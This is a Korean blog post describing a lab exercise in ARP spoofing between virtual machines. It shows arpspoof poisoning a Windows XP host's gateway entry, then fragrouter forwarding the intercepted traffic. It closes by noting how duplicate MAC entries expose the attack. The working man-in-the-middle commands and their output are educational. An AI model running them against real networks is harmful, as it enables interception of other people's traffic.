겉바속촉

[보안] ARP Spoofing 실습 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] ARP Spoofing 실습

겉바속촉 2021. 1. 21. 11:15
728x90
반응형

 

ARP Spoofing

 

 

ARP Spoofing을 해보기 전에 ARP 요청과 응답을 먼저 짚어주고 갈게요:)

 

 

다음 그림을 보면 현재 동일한 네트워크 환경인 상태입니다.

 

 

 

 

ARP Request

 

타겟 맥 address가 지정되어 있지 않은 경우!!!

 

Source IP, Source MAC은 왼쪽에 있는 한 대의 것

그리고 Target MAC은 비워두고 ARP Request를 보내는 구조입니다.

 

 

ARP Response

 

그럼 오른쪽 3대 중에서 맞는 IP주소가 응답하는 것이구요.

브로드캐스팅할때 있던 소스가 Target IP랑 Target MAC에 할당되는 것입니다.



 

 

 

 

 


 

 

 

 

 

 

ARP Spoofing

 

 

 

 

 

 

### @Windows XP 에서 arp 테이블을 확인 

 

디폴트 게이트 웨이 -> 192.168.137.2 

인터넷 주소 -> 192.168.137.2

맥 주소 -> 00-50-56-ee-37-4a

 

C:\> ipconfig

Windows IP Configuration

Ethernet adapter 로컬 영역 연결:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.137.133
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.137.2

C:\> arp -a

Interface: 192.168.94.128 --- 0x2
  Internet Address      Physical Address      Type
  192.168.137.2          00-50-56-ee-37-4a     dynamic

 

 

 

 

 

 

### @Windows XP에서 IE 브라우저의 Cooxie를 이용해서 Proxy를 해제

 

 

 

 

 

### google.com으로 접속 여부를 확인

 

 

 

현재 우리가 www.google.com을 검색한 것이 게이트웨이를 통해서 나가고 있는 것입니다.  

 

동일한 192.168 네트워크가 있으면 이 네트워크 속에서 우리가 구글을 검색하는 거에요.

1. google.com을 치면 dns쿼리를 던지고

2. google.com에 해당하는 ip를 받아오고

3. subnetmask를 해서 동일한 ip인지 확인

4. 동일하지 않다면 라우팅해서 게이트웨이를 통해서 나감

이러한 구조로 나가는 것이죠

 

 

일반적으로 스푸핑을 할때는 게이트웨이 주소를 속이는 것이 다반수입니다.

특정 서버로 돌려서 모든 패킷이 그쪽으로 가게끔 유도하는 건데요.

 

 

그럼 이것을 작업해보도록 하겠습니다.

 

 

 

 

 

 

### @Attacker에서 arp spoofing 공격을 시도

 

Gateway의 MAC 주소(00-50-56-f7-f4-43)를 Attacker의 MAC 주소로 변경해줍니다.

그러면 windows xp에서 gateway로 나가려면 attacker쪽으로 가게되는 거에요

 

 

우선 attacker의 mac 주소와 ip주소를 확인했습니다.

 

mac 주소 -> 00:0c:29:3d:e7:e0

ip 주소 -> 192.168.137.134

 

┌──(kali㉿kali)-[~]
└─$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:3d:e7:e0 brd ff:ff:ff:ff:ff:ff
    inet 192.168.137.134/24 brd 192.168.137.255 scope global dynamic noprefixroute eth0
       valid_lft 1329sec preferred_lft 1329sec
    inet6 fe80::20c:29ff:fe3d:e7e0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
                                                 

 

 

sniff 설치

sudo apt install dsniff

 

┌──(kali㉿kali)-[~]
└─$ sudo apt install dsniff                                                                                     255 ⨯
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  libnids1.21
The following NEW packages will be installed:
  dsniff libnids1.21
0 upgraded, 2 newly installed, 0 to remove and 981 not upgraded.
Need to get 131 kB of archives.
After this operation, 497 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 libnids1.21 amd64 1.25-1 [27.3 kB]
Get:2 http://ftp.harukasan.org/kali kali-rolling/main amd64 dsniff amd64 2.4b1+debian-29 [103 kB]
Fetched 131 kB in 2s (76.0 kB/s)
Selecting previously unselected package libnids1.21:amd64.
(Reading database ... 263578 files and directories currently installed.)
Preparing to unpack .../libnids1.21_1.25-1_amd64.deb ...
Unpacking libnids1.21:amd64 (1.25-1) ...
Selecting previously unselected package dsniff.
Preparing to unpack .../dsniff_2.4b1+debian-29_amd64.deb ...
Unpacking dsniff (2.4b1+debian-29) ...
Setting up libnids1.21:amd64 (1.25-1) ...
Setting up dsniff (2.4b1+debian-29) ...
Processing triggers for kali-menu (2020.4.0) ...
Processing triggers for libc-bin (2.31-4) ...
Processing triggers for man-db (2.9.3-2) ...

 

 

 

설치가 모두 끝났다면 다음과 같이 이제 해보도록 하겠습니다.

 

sudo arpspoof -i eth0 -t 192.168.137.133 192.168.137.2

 

  • -i eth0  :  Network Interface Controller
  • -t 192.168.137.133   :  ARP 캐시 테이블을 오염시킬 대상 호스트의 IP
  • 192.168.137.2  :  Gateway IP

---> 희생자의 ARP 캐시 테이블의 Gateway의 MAC 주소를 공격자의 MAC 주소로 설정하고 있는 것입니다.

 

 

 

 

┌──(kali㉿kali)-[~]
└─$ sudo arpspoof -i eth0 -t 192.168.137.133 192.168.137.2
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0
0:c:29:3d:e7:e0 0:c:29:cb:d4:a5 0806 42: arp reply 192.168.137.2 is-at 0:c:29:3d:e7:e0

 

 

 

 

### @WindowsXP에서 arp 테이블을 확인

 

 

 

아까 출력되었던 IP 주소의 MAC 주소가 공격자의 MAC주소로 바뀐 것을 확인할 수 있습니다.

 

 

 

 

 

 

### @WindowsXP에서 google.com으로 접속

 

 

요청이 나가지 못하고 멈춰있는 중

즉, 인터넷이 끊긴 것처럼 나옵니다.

 

결국 다음과 같이 나옵니다.

 

 

 

 

 

사실 제대로된 스푸핑의 시나리오는 다음과 같습니다.

게이트웨이 맥 주소를 내가 지정해놓은 호스트로 바꿔줍니다

그래서 게이트웨이로의 모든 패킷을 특정 호스트로 집중시키는 거에요.

 

게이트웨이의 역할을 수행하는 호스트에서 들어오는 패킷을 원래 게이트웨이로 나가도록 해줍니다

마치 proxy처럼 모든 것이 이것을 통해서 나가도록 해서 훔쳐보는 것이 가능한 거죠!!!

 

 

 

 

 

 

### @Attacker에 fragrouter 도구를 이용해서 라우팅 처리

 

 

 

bison 설치

┌──(kali㉿kali)-[~]
└─$ sudo apt install bison               
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following additional packages will be installed:
  m4
Suggested packages:
  bison-doc m4-doc
The following NEW packages will be installed:
  bison m4
0 upgraded, 2 newly installed, 0 to remove and 981 not upgraded.
Need to get 1,302 kB of archives.
After this operation, 3,248 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 m4 amd64 1.4.18-5 [204 kB]
Get:2 http://ftp.harukasan.org/kali kali-rolling/main amd64 bison amd64 2:3.7.4+dfsg-1 [1,098 kB]
Fetched 1,302 kB in 3s (519 kB/s)  
Selecting previously unselected package m4.
(Reading database ... 263620 files and directories currently installed.)
Preparing to unpack .../archives/m4_1.4.18-5_amd64.deb ...
Unpacking m4 (1.4.18-5) ...
Selecting previously unselected package bison.
Preparing to unpack .../bison_2%3a3.7.4+dfsg-1_amd64.deb ...
Unpacking bison (2:3.7.4+dfsg-1) ...
Setting up m4 (1.4.18-5) ...
Setting up bison (2:3.7.4+dfsg-1) ...
update-alternatives: using /usr/bin/bison.yacc to provide /usr/bin/yacc (yacc) in auto mode
Processing triggers for man-db (2.9.3-2) ...
Processing triggers for kali-menu (2020.4.0) ...

 

 

### @Attacker에 fragrouter 도구를 이용해서 라우팅 처리

 

fragrouter 설치

                                                                                                                      
┌──(kali㉿kali)-[~]
└─$ sudo apt install fragrouter    
[sudo] password for kali: 
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following NEW packages will be installed:
  fragrouter
0 upgraded, 1 newly installed, 0 to remove and 1008 not upgraded.
Need to get 53.9 kB of archives.
After this operation, 140 kB of additional disk space will be used.
Get:1 http://ftp.harukasan.org/kali kali-rolling/main amd64 fragrouter amd64 1.7-3kali1 [53.9 kB]
Fetched 53.9 kB in 2s (31.9 kB/s)     
Selecting previously unselected package fragrouter.
(Reading database ... 263899 files and directories currently installed.)
Preparing to unpack .../fragrouter_1.7-3kali1_amd64.deb ...
Unpacking fragrouter (1.7-3kali1) ...
Setting up fragrouter (1.7-3kali1) ...
Processing triggers for man-db (2.9.3-2) ...
Processing triggers for kali-menu (2020.4.0) ...

 

 

다음 명령에서 -B1 옵션은 들어온 것을 포워딩해주는 기능을 합니다.

그래서 명령을 내렸을 때 출력되는 것을 보면

133번으로 들어온 것을 2번으로 돌린다~ 라는 것입니다.

 

즉, 원래 가려고 했던 게이트웨이쪽으로 FRAGROUTER가 처리하는 것!!!

                                                                                                                     
┌──(kali㉿kali)-[~]
└─$ sudo fragrouter -B1        
fragrouter: base-1: normal IP forwarding
192.168.137.133.137 > 192.168.137.2.137: udp 68
192.168.137.133.137 > 192.168.137.2.137: udp 68
192.168.137.133.137 > 192.168.137.2.137: udp 68
192.168.137.133.137 > 192.168.137.2.137: udp 50
192.168.137.133.137 > 192.168.137.2.137: udp 50
192.168.137.133.137 > 192.168.137.2.137: udp 50

 

 

 

 

### @WindowsXP에서 google.com으로 접속

 

 

그럼 구글이 뜨긴 하지만 정상적인 경로로 나가는 것이 아닙니다.

attacker 호스트를 통해서 나가는 것이죠!!

그럼 attacker는 그 패킷을 잡아서 훔쳐보는 것입니다:)

 

 

 

 

### @WindowsXP에서 Attacker로 ping을 전송

 

 

ping을 주었기 때문에 attacker 의 mac 주소가 arp table에 떠있을 겁니다.

 

 

 

 

그래서 arp테이블을 확인해봤더니

mac 주소가 ip가 다름에도 불구하고 동일하게 나오고 있습니다:)

이론적으로 불가능한것이죠

 

누가 내 ip를 스푸핑한다는 것입니다.

 

 

 

 

 

 

 

728x90
반응형